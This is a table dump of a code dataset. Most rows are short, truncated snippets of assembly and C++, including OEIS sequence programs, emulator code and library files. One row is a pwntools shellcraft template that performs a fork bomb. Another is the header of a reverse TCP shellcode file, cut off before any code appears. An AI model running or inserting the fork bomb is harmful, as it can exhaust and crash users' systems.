text stringlengths 1 1.05M |
|---|
; A059222: Minimal number of disjoint edge-paths into which the graph of the n-ary cube can be partitioned.
; 1,1,4,1,16,1,64,1,256,1,1024,1,4096,1,16384,1,65536,1,262144,1,1048576,1,4194304,1,16777216,1,67108864,1,268435456,1,1073741824,1,4294967296,1,17179869184,1,68719476736,1,274877906944,1,1099511627776,1,43980465... |
equval equ 6:7
[bits 32]
jmp 5:4 ; out: ea 04 00 00 00 05 00
jmp far equval ; out: ea 07 00 00 00 06 00
[bits 16]
jmp 8:9 ; out: ea 09 00 08 00
|
// Copyright 2020 The Google Research Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law... |
HELLO: DC STRING("Hello! What is your name?\n")
WELL: DC STRING("Well, ")
THINKING: DC STRING(", I am thinking of a number between 1 and 1000.\n")
GUESS: DC STRING("Take a guess.\n")
TOO_HIGH: DC STRING("Your guess is too high.\n")
TOO_LOW: DC ... |
; size_t p_stack_size_fastcall(p_stack_t *s)
SECTION code_adt_p_stack
PUBLIC _p_stack_size_fastcall
defc _p_stack_size_fastcall = asm_p_stack_size
INCLUDE "adt/p_stack/z80/asm_p_stack_size.asm"
|
; A096273: a(0)=0, then a(n)=a(n-1)+(n-1) if n is odd, a(n)=a(n/2)+n/2 otherwise.
; 0,0,1,3,3,7,6,12,7,15,12,22,12,24,19,33,15,31,24,42,22,42,33,55,24,48,37,63,33,61,48,78,31,63,48,82,42,78,61,99,42,82,63,105,55,99,78,124,48,96,73,123,63,115,90,144,61,117,90,148,78,138,109,171,63,127,96,162,82,150,117,187,78,150,115,18... |
;*****************************************************
;
; Video Technology library for small C compiler
;
; Juergen Buchmueller
;
;*****************************************************
; ----- void vz_shape(int x, int y, int w, int h, int c, char *data)
XLIB vz_shape
XDEF char_shape
XREF scrbase
; This one is diff... |
; Original address was $BD8F
; Cheep Cheep hand trap
.word W8H_PrizeL ; Alternate level layout
.word W8H_PrizeO ; Alternate object layout
.byte LEVEL1_SIZE_08 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_03 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_11 | LEVEL3_VSCROLL_LOCKED | LEVEL3_PIPENOTEXIT
.byte ... |
// Copyright (c) 2014-2017 The BitTrivia Core developers
// Distributed under the MIT software license, see the accompanying
#include "base58.h"
#include "bip39.h"
#include "chainparams.h"
#include "hdchain.h"
#include "tinyformat.h"
#include "util.h"
#include "utilstrencodings.h"
bool CHDChain::SetNull()
{
LOCK(... |
; A292443: a(n) = (5/32)*A000045(6*n)^2.
; 0,10,3240,1043290,335936160,108170400250,34830532944360,11215323437683690,3611299316401203840,1162827164557749952810,374426735688279083601000,120564246064461307169569210,38821312806020852629517684640,12500342159292650085397524884890,4025071353979427306645373495249960
mul $0,3... |
/*
* Copyright (c) Contributors to the Open 3D Engine Project.
* For complete copyright and license terms please see the LICENSE at the root of this distribution.
*
* SPDX-License-Identifier: Apache-2.0 OR MIT
*
*/
#include <AzCore/Math/MathUtils.h>
#include <AzCore/Serialization/SerializeContext.h>
#include <A... |
; A058649: a(n) = 2^(n-4)*n*(n+1)*(n^2+5*n-2).
; Submitted by Jon Maiga
; 0,1,18,132,680,2880,10752,36736,117504,357120,1041920,2939904,8067072,21618688,56770560,146472960,372113408,932511744,2308571136,5653135360,13707509760,32942063616,78525759488,185799278592,436627046400
mov $1,$0
trn $0,1
seq $0,84903 ; Binomial ... |
;
; DRIVER CODE FOR - ACIA MC6850
;
; EXTERNAL CONFIG NEEDED
; ACIA_START - start of the memory mapped registers of the ACIA
;
.alias ACIACTRL ACIA_START
.alias ACIASTAT ACIA_START
.alias ACIADATA ACIA_START+1
;
; initialize the ACIA
;
; initial setup of the ACIA
; should be called immediately after CPU reset
; ... |
/**
* Copyright (c) 2021 OceanBase
* OceanBase CE is licensed under Mulan PubL v2.
* You can use this software according to the terms and conditions of the Mulan PubL v2.
* You may obtain a copy of Mulan PubL v2 at:
* http://license.coscl.org.cn/MulanPubL-2.0
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BAS... |
#include "Hooks.h"
#include "Settings.h"
#include "version.h"
extern "C" DLLEXPORT bool SKSEAPI SKSEPlugin_Query(const SKSE::QueryInterface* a_skse, SKSE::PluginInfo* a_info)
{
#ifndef NDEBUG
auto sink = std::make_shared<spdlog::sinks::msvc_sink_mt>();
#else
auto path = logger::log_directory();
if (!path) {
retur... |
; Copyright (c) 2015 Jeremy Dilatush
; All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; 1. Redistributions of source code must retain the above copyright
; notice, this list of conditions and... |
; ***************************************************************************************
; ***************************************************************************************
;
; Name : paging.asm
; Author : paul@robsons.org.uk
; Date : 15th November 2018
; Purpose : Paging Manager
;
; ********************... |
; A022815: Number of terms in 5th derivative of a function composed with itself n times.
; 1,7,23,55,110,196,322,498,735,1045,1441,1937,2548,3290,4180,5236,6477,7923,9595,11515,13706,16192,18998,22150,25675,29601,33957,38773,44080,49910,56296,63272,70873,79135,88095,97791,108262,119548,131690,144730,158711,173677,18967... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %r8
push %rbx
push %rcx
lea addresses_UC_ht+0x15a4, %rcx
clflush (%rcx)
nop
nop
nop
add %r12, %r12
movb $0x61, (%rcx)
nop
nop
sub %r8, %r8
lea addresses_normal_ht+0x17de4, %rbx
nop
cmp $57512, %r10
mov $0x6162636465666768, %r8
movq %r8, (%r... |
/*
* Copyright (c) 2020, Tom Lebreux <tomlebreux@hotmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/Base64.h>
#include <AK/String.h>
#include <string.h>
TEST_CASE(test_decode)
{
auto decode_equal = [&](const char* input, const char* expected) {
auto d... |
_getcount: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
#include "syscall.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 30 ... |
PrintBeginningBattleText:
ld a, [wIsInBattle]
dec a
jr nz, .trainerBattle
ld a, [wCurMap]
cp POKEMON_TOWER_3F
jr c, .notPokemonTower
cp MR_FUJIS_HOUSE
jr c, .pokemonTower
.notPokemonTower
ld a, [wEnemyMonSpecies2]
call PlayCry
ld hl, WildMonAppearedText
ld a, [wMoveMissed]
and a
jr z, .notFishing
ld hl, ... |
;;
;; Copyright (c) 2012-2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and... |
#include<iostream>
using namespace std;
int main(){
// define variables
int number;
// ask for number
cout<<endl<<"Enter number : ";
cin>>number;
// check if number is even or odd.
if (number%2==0){ // number is even
cout<<endl<<number<<" number is even.";
} else { // number is odd
cout<<... |
#include <iostream>
using namespace std;
int MaxDifference(int arr[], int n)
{
int maxdiff = 0;
for (int i = 0; i < n; i++)
{
for (int j = i + 1; j < n; j++)
{
if ((arr[j] > arr[i]) && (arr[j] - arr[i] > maxdiff))
{
maxdiff = arr[j] - arr[i];
... |
;;
;; ChessLib (c)2008-2011 Andy Duplain <andy@trojanfoe.com>
;;
;; AsmX64.asm: Windows x86-64-assembler functions.
;;
;; See: http://msdn.microsoft.com/en-us/library/ms235286.aspx
;;
;; Parameters: (left-to-right) RCX, RDX, R8, and R9.
;; Return: RAX.
;; Work registers: RAX, RCX, RDX, R8, R9, R10, and R11.
;;
.data
... |
; A213549: Principal diagonal of the convolution array A213548.
; 1,12,53,155,360,721,1302,2178,3435,5170,7491,10517,14378,19215,25180,32436,41157,51528,63745,78015,94556,113597,135378,160150,188175,219726,255087,294553,338430,387035,440696,499752,564553,635460,712845,797091,888592,987753,1094990,1210730,1335411,146948... |
bits 64
default rel
card_len equ 80
section .bss
%macro coro 2
mov rbx, %%_cnt
mov [route_%1], rbx
jmp %2
%%_cnt: nop
%endmacro
route_SQUASHER: resq 1 ; storage of IP, module global data for SQUASHER
route_WRITE: resq 1 ; storage of... |
; A152889: Periodic sequence [1,0,4,0,0] of period 5
; 1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0
add $0,2
pow $0,3
mod $0,5
bin $0,3
|
; A142157: Last digit of A003319(n).
; Submitted by Jamie Morken(s4)
; 1,1,3,3,1,1,7,3,3,5,3,7,5,3,3,3,3,1,3,5,1,7,9,1,5,1,7,7,3,7,7,3,9,5,1,3,9,9,1,5,3,5,5,7,1,5,1,5,9,5,3,3,5,1,9,7,9,9,5,5,5,9,1,1,3,3,1,1,7,3,3,5,3,7,5,3,3,3,3,1,3,5,1,7,9,1,5,1,7,7,3,7,7,3,9,5,1,3,9,9
mov $1,1
mov $3,$0
mul $3,4
mov $5,4
lpb $3
su... |
#include <Arduino.h>
#include "Motor.h"
// Steps pins in counter clockwise direction
const int Motor::STEPS[8] = {
0b0001,
0b0011,
0b0010,
0b0110,
0b0100,
0b1100,
0b1000,
0b1001
};
Motor::Motor(int pins[4])
{
mPins = pins;
}
void Motor::setup() {
for(int i = 0; i < 4; i++) {
... |
INCLUDE "defines.asm"
SECTION "Header", ROM0[$100]
; This is your ROM's entry point
; You have 4 bytes of code to do... something
sub $11 ; This helps check if we're on CGB more efficiently
jr EntryPoint
; Make sure to allocate some space for the header, so no important
; code gets put there and later overwr... |
; A131017: Period 6 sequence (1, 1, 2, -1, 2, 1).
; 1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2
gcd $0,6
bin $... |
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 85
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %65
OpExecutionMode %4 OriginUp... |
#include <iostream>
#include <thread>
#include <queue>
#include <future>
#include <mutex>
template <class T>
class MessageQueue
{
public:
T receive()
{
// perform queue modification under the lock
std::unique_lock<std::mutex> uLock(_mutex);
_cond.wait(uLock, [this] { return !_messages.e... |
; draw some text
processor 6502
org $0801 ; sys2061
sysline:
.byte $0b,$08,$01,$00,$9e,$32,$30,$36,$31,$00,$00,$00
org $080d ; sys2061
jsr $e544 ; clear screen
ldx #$00
write: lda msg,x
jsr $ffd2
inx
cpx #54
bne write
ldx #$00
setcol: lda #$07
sta $d800,x
inx
cpx #54
bn... |
; A304836: a(n) = 27*n^2 - 51*n + 24, n>=1.
; 0,30,114,252,444,690,990,1344,1752,2214,2730,3300,3924,4602,5334,6120,6960,7854,8802,9804,10860,11970,13134,14352,15624,16950,18330,19764,21252,22794,24390,26040,27744,29502,31314,33180,35100,37074,39102,41184,43320,45510,47754,50052,52404,54810,57270,59784,62352,64974,6765... |
; A267868: Triangle read by rows giving successive states of cellular automaton generated by "Rule 233" initiated with a single ON (black) cell.
; 1,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1... |
.MODEL SMALL
.STACK 100H
.DATA
MSG1 DB 'AL value: $'
MSG2 DB 0DH,0AH,'New AL value: $'
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
LEA DX, MSG1
MOV AH, 9
INT 21H
MOV AL, 32H
MOV BL, AL
MOV AH,... |
; Disassembly of file: app.o
; Sat Jan 6 11:58:39 2018
; Mode: 32 bits
; Syntax: YASM/NASM
; Instruction set: 80386
global rand: function
global main: function
global ran
extern api_closewin ; near
extern api_getkey ; near
extern... |
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x9010, %r14
clflush (%r14)
cmp %rax, %rax
mov (%r14), %rcx
nop
nop
nop
nop
add $60106, %rbx
lea addresses_A_ht+0x8aa0, %rsi
lea addresses_D_ht+0x1b002, %rdi
nop
nop
nop
nop
sub $43255,... |
[bits 32]
jmp 5:4
jmp far equval
equval equ 6:7
[bits 16]
jmp 8:9
|
; A315642: Coordination sequence Gal.6.332.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,12,16,21,27,33,39,44,48,54,60,66,72,76,81,87,93,99,104,108,114,120,126,132,136,141,147,153,159,164,168,174,180,186,192,196,201,207,213,2... |
.segment "CODE"
; this is like a x = y call where x is set to the value of y
.macro set set_var, from
lda from
sta set_var
.endmacro
; this procedure will loop until the next vblank
.proc wait_for_vblank
bit PPU_STATUS ; $2002
vblank_wait:
bit PPU_STATUS ; $2002
bpl vblank_wait
... |
/**
* @file
* @brief Misc (mostly) inventory related functions.
**/
#include "AppHdr.h"
#include "items.h"
#include <algorithm>
#include <cctype>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <functional> // mem_fn
#include <limits>
#include "adjust.h"
#include "areas.h"
#include "arena.h"
#inc... |
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; -----------------------------------------------------------------------------------------------------------
;;#include "asmmacros.inc"
;; -----------------------------------------... |
; A338935: a(n) = Sum_{d|n} (d^2 mod n).
; Submitted by Jon Maiga
; 0,1,1,1,1,8,1,5,1,10,1,18,1,12,20,5,1,23,1,26,17,16,1,58,1,18,10,42,1,70,1,21,32,22,40,39,1,24,23,90,1,106,1,54,71,28,1,98,1,55,44,34,1,104,37,106,29,34,1,240,1,36,77,21,65,160,1,38,56,200,1,175,1,42,60,78,94,154,1,146,10,46,1,252,60,48,68,162,1,310,12... |
<?xml version = '1.0' encoding = 'ISO-8859-1' ?>
<asm version="1.0" name="0">
<cp>
<constant value="ERCopier"/>
<constant value="links"/>
<constant value="NTransientLinkSet;"/>
<constant value="col"/>
<constant value="J"/>
<constant value="main"/>
<constant value="A"/>
<constant value="OclParametrizedT... |
#include "common/protobuf/utility.h"
#include "source/extensions/filters/http/oauth2/oauth_response.pb.h"
#include "test/integration/http_integration.h"
#include "gtest/gtest.h"
namespace Envoy {
namespace Extensions {
namespace HttpFilters {
namespace Oauth {
namespace {
class OauthIntegrationTest : public testin... |
; A254963: a(n) = n*(11*n + 3)/2.
; 0,7,25,54,94,145,207,280,364,459,565,682,810,949,1099,1260,1432,1615,1809,2014,2230,2457,2695,2944,3204,3475,3757,4050,4354,4669,4995,5332,5680,6039,6409,6790,7182,7585,7999,8424,8860,9307,9765,10234,10714,11205,11707,12220,12744,13279,13825,14382,14950,15529,16119,16720,17332,17955,... |
segment .data
align 4
r:
dq 61.0000
segment .text
align 4
global _main:function
_main:
align 4
xpl:
push ebp
mov ebp, esp
sub esp, 8
push dword 0
lea eax, [ebp+-4]
push eax
pop ecx
pop eax
mov [ecx], eax
push dword 0
lea eax, [ebp+-8]
push eax
pop ecx
pop eax
mov [ecx], eax
push dword $r
push dword [e... |
/*
* Copyright 2017 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "SkSGTransform.h"
#include "SkCanvas.h"
#include "SkSGTransformPriv.h"
namespace sksg {
namespace {
template <typename T>
class Concat final : public Transform {
... |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x7d91, %rsi
clflush (%rsi)
nop
nop
nop
nop
add $7865, %rbx
mov $0x6162636465666768, %r12
movq %r12, (%rsi)
nop
nop
sub $9551, %rbx
lea addresses_normal_ht+0x17b11, %rsi
lea ad... |
; Filename: reverse_tcp_shellcode.nasm
; Author: Upayan a.k.a. slaeryan
; SLAE: 1525
; Contact: upayansaha@icloud.com
; Purpose: This is a x86 Linux reverse TCP null-free shellcode.
; Usage: ./reverse_tcp_shellcode
; Note: The connection attempt is not tuned so run the listener first. The C2 IP and
; the C2 Port are co... |
;
; BASIC-DOS Process Services
;
; @author Jeff Parsons <Jeff@pcjs.org>
; @copyright (c) 2020-2021 Jeff Parsons
; @license MIT <https://basicdos.com/LICENSE.txt>
;
; This file is part of PCjs, a computer emulation software project at pcjs.org
;
include macros.inc
include 8086.inc
include devapi.inc
incl... |
SECTION code_stdlib
PUBLIC __dtoa_print
EXTERN __stdio_printf_sign_0, __dtoa_print_zeroes
__dtoa_print:
push hl ; save buf_dst
; bc = length of workspace
; de = workspace *
; hl = char *buf_dst
;
; (IX-6) = flags, bit 7 ... |
; A014632: Odd pentagonal numbers.
; Submitted by Jon Maiga
; 1,5,35,51,117,145,247,287,425,477,651,715,925,1001,1247,1335,1617,1717,2035,2147,2501,2625,3015,3151,3577,3725,4187,4347,4845,5017,5551,5735,6305,6501,7107,7315,7957,8177,8855,9087,9801,10045,10795,11051,11837,12105,12927,13207,14065,14357,15251,15555,16485,... |
#include <memory>
#include <string>
#include "common/http/header_map_impl.h"
#include "test/test_common/printers.h"
#include "test/test_common/utility.h"
#include "gtest/gtest.h"
using ::testing::InSequence;
namespace Envoy {
namespace Http {
TEST(HeaderStringTest, All) {
// Static LowerCaseString constructor
... |
; A064999: Partial sums of sequence (essentially A002378): 1, 2, 6, 12, 20, 30, 42, 56, 72, 90, ...
; 1,3,9,21,41,71,113,169,241,331,441,573,729,911,1121,1361,1633,1939,2281,2661,3081,3543,4049,4601,5201,5851,6553,7309,8121,8991,9921,10913,11969,13091,14281,15541,16873,18279,19761,21321,22961,24683,26489,28381,30361,32... |
#include "FullDiagnostics.H"
#include "ComputeDiagFunctors/CellCenterFunctor.H"
#include "ComputeDiagFunctors/DivBFunctor.H"
#include "ComputeDiagFunctors/DivEFunctor.H"
#include "ComputeDiagFunctors/PartPerCellFunctor.H"
#include "ComputeDiagFunctors/PartPerGridFunctor.H"
#include "ComputeDiagFunctors/RhoFunctor.H"
#... |
; uint __CALLEE__ fread_callee(void *p, uint size, uint nitems, FILE *stream)
; 06.2008 aralbrec
XLIB fread_callee
XDEF ASMDISP_FREAD_CALLEE
LIB fgetc, l_mult, l_div_u, l_jpix, stdio_error_mc, stdio_success_znc
include "../stdio.def"
.fread_callee
pop af
pop ix
pop hl
pop de
pop bc
push af
.asmen... |
title "mpipia"
;++
;
; Copyright (c) 1989-1995 Microsoft Corporation
;
; Module Name:
;
; mpipia.asm
;
; Abstract:
;
; This module implements the x86 specific fucntions required to
; support multiprocessor systems.
;
; Author:
;
; David N. Cutler (davec) 5-Feb-1995
;
; Environmen... |
add r0, r1
|
#pragma once
#include <vector>
extern std::vector<std::vector<double>> * H;
extern std::vector<std::vector<double>> * F;
enum MsgType {
NextMsg,
ExitMsg,
BootMsg
};
struct Message {
MsgType type;
};
|
; What music plays when a trainer notices you
TrainerEncounterMusic::
; entries correspond to trainer classes (see constants/trainer_constants.asm)
db MUSIC_HIKER_ENCOUNTER ; none
db MUSIC_YOUNGSTER_ENCOUNTER ; falkner
db MUSIC_LASS_ENCOUNTER ; whitney
db MUSIC_YOUNGSTER_ENCOUNTER ; bugsy
db MUSI... |
; void __CALLEE__ *im2_CreateGenericISRLight_callee(uchar numhooks, void *addr)
; 10.2005 aralbrec
SECTION code_clib
PUBLIC im2_CreateGenericISRLight_callee
PUBLIC _im2_CreateGenericISRLight_callee
PUBLIC ASMDISP_IM2_CREATEGENERICISRLIGHT_CALLEE
EXTERN IM2CreateCommon
.im2_CreateGenericISRLight_callee
._im2_CreateGe... |
MOV [0] 15
MOV [3] 16
MOV [4] 23
JLS [3] [0] 58
DPRINT 475
HALT
JLS [4] [0] 8
DPRINT 699
HALT
DPRINT 111
HALT
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x137d1, %r10
xor %rsi, %rsi
movups (%r10), %xmm4
vpextrq $0, %xmm4, %r14
nop
sub $39636, %rbp
lea addresses_A_ht+0xc46f, %rsi
lea addresses_WC_ht+0x2b, %rdi
nop
nop
nop
nop
xor $17... |
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2012 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "main.h"
#include "db.h"
#include "txdb.h"
#include "init.h"
#include "miner.h... |
; A089682: Primes of the form 3*m^2 - 1.
; Submitted by Jamie Morken(w3)
; 2,11,47,107,191,431,587,971,1451,2027,2351,2699,3467,4799,5807,6911,7499,8111,8747,10091,10799,14699,15551,16427,17327,18251,25391,27647,36299,41771,44651,55487,57131,62207,67499,71147,74891,80687,92927,99371,103787,106031,124847,132299,137387,1... |
<%
from pwnlib.shellcraft.thumb.linux import fork
from pwnlib.shellcraft.common import label
%>
<%docstring>
Performs a forkbomb attack.
</%docstring>
<%
dosloop = label('fork_bomb')
%>
${dosloop}:
${fork()}
b ${dosloop}
|
/*
* Author: Marc Graham <marc@m2ag.net>
* Copyright (c) 2015 Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation ... |
/* libSU3: Tests for SU(2) Clebsch-Gordans */
#include "SU3.h"
#include "test.h"
#define TEST_SU2_CG(I, Iz, i1, i1z, i2, i2z, p, q) \
TEST_EQ_SQRAT(su2_cgc(I, Iz, i1, i1z, i2, i2z), p, q, \
"<%Qd,%Qd| (|%Qd,%Qd> x |%Qd,%Qd>)", \
mpq_class(I).get_mpq_t(), mpq_class(Iz).get_mpq_t(), \
mpq_cl... |
; A138998: 9^n mod 2^n.
; 0,1,1,1,1,9,49,121,65,329,913,25,2273,8169,16177,30905,16001,12937,116433,523609,1042465,2042153,1602161,6030841,12334529,10347465,26018321,32838297,27109217,512418409,316798385,703701817,2038349057,1165272329,10487450961,25667581913,24849807009,17489832873,19969542385,179725881465,51802130540... |
; D - x E - y
; Port 8 will be written with value x^y
inp 0 ;read x
lda
inp 1 ;read y
lea
lbi 1
pow:
lha
lae
cpi 0
lah
jtz exit
lcd
cal mulFunction
dce
lba
jmp pow
exit:
lab
out 8
hlt
mulFunction: ;b - number to be multiplied, c - multiplier, a - result of multiplying
lai 0
mul:
adb
dcc
jfz mul
ret |
STACKSIZE equ 0x4000
;KERNEL_VIRTUAL equ 0x0
[global pagingEnable]
pagingEnable:
; Enable paging
mov eax, cr0
or eax, 0x80000000
mov cr0, eax
ret
[global pagingDisable]
pagingDisable:
; Disable paging
mov edx, cr0
and edx, 0x7fffffff
mov cr0, edx
ret
[glo... |
#include <iostream>
using namespace std;
int *insertionSort(int unsortedArray[], int length)
{
for (int i = 1; i < length; i++)
{
int j = i;
int value = unsortedArray[i];
while (j >= 0 && (value < unsortedArray[j - 1]))
{
unsortedArray[j] = unsortedArray[j - 1];
... |
; A340228: a(n) is the sum of the lengths of all the segments used to draw a rectangle of height 2^(n-1) and width n divided into 2^(n-1) rectangles of unit height, in turn, divided into rectangles of unit height and lengths corresponding to the parts of the compositions of n.
; Submitted by Christian Krause
; 4,11,27,... |
/*
* Copyright (c) 2016-2021 Arm Limited.
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* ri... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x409b, %rsi
lea addresses_D_ht+0x1ad5b, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $71, %rcx
rep movsb
nop
nop
nop
nop
nop
and %r13, %r13
lea addresses_WT_ht+0xd51b, %rdi
nop... |
//===------------------------ memory_resource.cpp -------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===---------------------------... |
; A040865: Continued fraction for sqrt(895).
; 29,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10,1,58,1,10
cal $0,10200 ; Continued fraction for sqrt(141).
lpb $0,1
mov $1,$0
cal $1,29801... |
/*******************************************************************************
* Copyright 2016 ROBOTIS CO., LTD.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.o... |
; A197986: Round((n+1/n)^3).
; 8,16,37,77,141,235,364,536,756,1030,1364,1764,2236,2786,3420,4144,4964,5886,6916,8060,9324,10714,12236,13896,15700,17654,19764,22036,24476,27090,29884,32864,36036,39406,42980,46764,50764,54986,59436,64120,69044,74214,79636,85316,91260,97474,103964,110736,117796,125150,132804,140764,149036... |
; A058333: Number of 3 X 3 matrices with elements from [0,...,(n-1)] satisfying the condition that the middle element of each row or column is the difference of the two end elements (in absolute value).
; 1,16,73,208,465,896,1561,2528,3873,5680,8041,11056,14833,19488,25145,31936,40001,49488,60553,73360,88081,104896,123... |
0x0000 (0x000000) 0x3118- f:00030 d: 280 | A = (OR[280])
0x0001 (0x000002) 0x2923- f:00024 d: 291 | OR[291] = A
0x0002 (0x000004) 0x2118- f:00020 d: 280 | A = OR[280]
0x0003 (0x000006) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
... |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x128d7, %r9
nop
add %r11, %r11
mov (%r9), %rsi
nop
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_A_ht+0xc92d, %rdi
xor %rbp, %rbp
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, ... |
; A131572: a(0)=0 and a(1)=1, continued such that absolute values of 2nd differences equal the original sequence.
; 0,1,2,2,4,4,8,8,16,16,32,32,64,64,128,128,256,256,512,512,1024,1024,2048,2048,4096,4096,8192,8192,16384,16384,32768,32768,65536,65536,131072,131072,262144,262144,524288,524288,1048576,1048576,2097152,2097... |
; A167682: Expansion of (1 - 2*x + 5*x^2) / (1 - 3*x)^2.
; 1,4,20,84,324,1188,4212,14580,49572,166212,551124,1810836,5904900,19131876,61647156,197696052,631351908,2008846980,6370914708,20145865428,63536960196,199908972324,627621192180,1966546402164,6150687683364,19205208480708,59875061733972,186403494077460,57954540885... |
// Copyright (C) 2020 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#pragma once
#include "shared_test_classes/subgraph/concat_multi_input.hpp"
namespace SubgraphTestsDefinitions {
TEST_P(ConcatMultiInput, CompareWithRefStridedSlice) {
GenerateStridedSliceModel();
Run();
};
TEST_P(ConcatMulti... |
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... |
; A204690: n^n (mod 5).
; 1,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1,3,1,4,0,1,1,3,1,0,1,2,4,4,0,1,4,2,1,0,1
mov $1,1
mov $2,$0
lpb $0
sub $0,1
mul $1,$2
mod $1,5
lpe
|
; A273481: First differences of number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 737", based on the 5-celled von Neumann neighborhood.
; 3,21,24,32,40,48,56,64,72,80,88,96,104,112,120,128,136,144,152,160,168,176,184,192,200,208,216,224,232,240,248,256,264,... |
; A027412: a(n) = 2*a(n-1) + (n-2)*a(n-2).
; Submitted by Christian Krause
; 1,2,4,10,28,86,284,998,3700,14386,58372,246218,1076156,4860710,22635292,108459814,533813716,2694524642,13930068740,73667056394,398075350108,2195824771702,12353156545564,70818633296870,413406710596148,2455641987020306,14833045028348164,91057139... |
; __ __ _ _ __
; | \/ | | | | | /_ |
; | \ / | ___ __| | ___| | | |
; | |\/| |/ _ \ / _` |/ _ \ | | |
; | | | | (_) | (_| | __/ | | |
; |_| |_|\___/ \__,_|\___|_| |_|
;
; _____ _ _
; | __ \ | | (_)
... |
; A022091: Fibonacci sequence beginning 0, 8.
